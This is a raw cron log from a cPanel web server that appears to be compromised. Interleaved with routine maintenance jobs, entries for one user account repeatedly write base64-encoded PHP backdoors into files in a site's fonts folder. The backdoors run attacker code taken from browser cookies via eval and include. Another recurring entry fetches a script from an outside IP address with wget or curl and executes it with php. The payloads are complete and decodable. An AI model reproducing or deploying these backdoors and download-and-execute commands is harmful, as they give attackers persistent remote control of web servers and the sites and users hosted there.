Sep  9 05:35:02 ip-184-168-122-23 CROND[21004]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 05:35:02 ip-184-168-122-23 CROND[21007]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 05:35:02 ip-184-168-122-23 CROND[21002]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 05:36:01 ip-184-168-122-23 CROND[21122]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:36:01 ip-184-168-122-23 CROND[21123]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:36:01 ip-184-168-122-23 CROND[21127]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 05:36:01 ip-184-168-122-23 CROND[21129]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 05:36:01 ip-184-168-122-23 CROND[21131]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 05:37:01 ip-184-168-122-23 CROND[21322]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 05:37:01 ip-184-168-122-23 CROND[21324]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:37:01 ip-184-168-122-23 CROND[21323]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 05:37:01 ip-184-168-122-23 CROND[21325]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:38:01 ip-184-168-122-23 CROND[21458]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 05:38:01 ip-184-168-122-23 CROND[21460]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 05:38:01 ip-184-168-122-23 CROND[21461]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:38:01 ip-184-168-122-23 CROND[21462]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:38:01 ip-184-168-122-23 CROND[21464]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 05:39:01 ip-184-168-122-23 CROND[21595]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 05:39:01 ip-184-168-122-23 CROND[21600]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:39:01 ip-184-168-122-23 CROND[21599]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:39:01 ip-184-168-122-23 CROND[21598]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  9 05:39:01 ip-184-168-122-23 CROND[21597]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 05:40:01 ip-184-168-122-23 CROND[21738]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 05:40:01 ip-184-168-122-23 CROND[21740]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 05:40:02 ip-184-168-122-23 CROND[21742]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 05:40:02 ip-184-168-122-23 CROND[21743]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:40:02 ip-184-168-122-23 CROND[21744]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:40:02 ip-184-168-122-23 CROND[21749]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 05:40:02 ip-184-168-122-23 CROND[21747]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 05:40:02 ip-184-168-122-23 CROND[21748]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 05:41:01 ip-184-168-122-23 CROND[21895]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 05:41:01 ip-184-168-122-23 CROND[21896]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 05:41:01 ip-184-168-122-23 CROND[21899]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:41:01 ip-184-168-122-23 CROND[21900]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:42:01 ip-184-168-122-23 CROND[22004]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 05:42:01 ip-184-168-122-23 CROND[22005]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:42:01 ip-184-168-122-23 CROND[22003]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 05:42:01 ip-184-168-122-23 CROND[22006]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:42:01 ip-184-168-122-23 CROND[22007]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 05:43:01 ip-184-168-122-23 CROND[22099]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:43:01 ip-184-168-122-23 CROND[22102]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 05:43:01 ip-184-168-122-23 CROND[22101]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:43:01 ip-184-168-122-23 CROND[22100]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 05:44:01 ip-184-168-122-23 CROND[22202]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 05:44:01 ip-184-168-122-23 CROND[22201]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:44:01 ip-184-168-122-23 CROND[22203]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 05:44:01 ip-184-168-122-23 CROND[22208]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 05:44:01 ip-184-168-122-23 CROND[22207]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:45:01 ip-184-168-122-23 CROND[22303]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 05:45:01 ip-184-168-122-23 CROND[22305]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 05:45:01 ip-184-168-122-23 CROND[22306]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:45:01 ip-184-168-122-23 CROND[22310]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 05:45:01 ip-184-168-122-23 CROND[22311]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 05:45:01 ip-184-168-122-23 CROND[22312]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:46:01 ip-184-168-122-23 CROND[22481]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  9 05:46:01 ip-184-168-122-23 CROND[22483]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 05:46:01 ip-184-168-122-23 CROND[22484]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 05:46:01 ip-184-168-122-23 CROND[22485]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 05:46:01 ip-184-168-122-23 CROND[22487]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  9 05:46:01 ip-184-168-122-23 CROND[22486]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  9 05:46:01 ip-184-168-122-23 CROND[22488]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:47:01 ip-184-168-122-23 CROND[22599]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 05:47:01 ip-184-168-122-23 CROND[22600]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  9 05:47:01 ip-184-168-122-23 CROND[22602]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
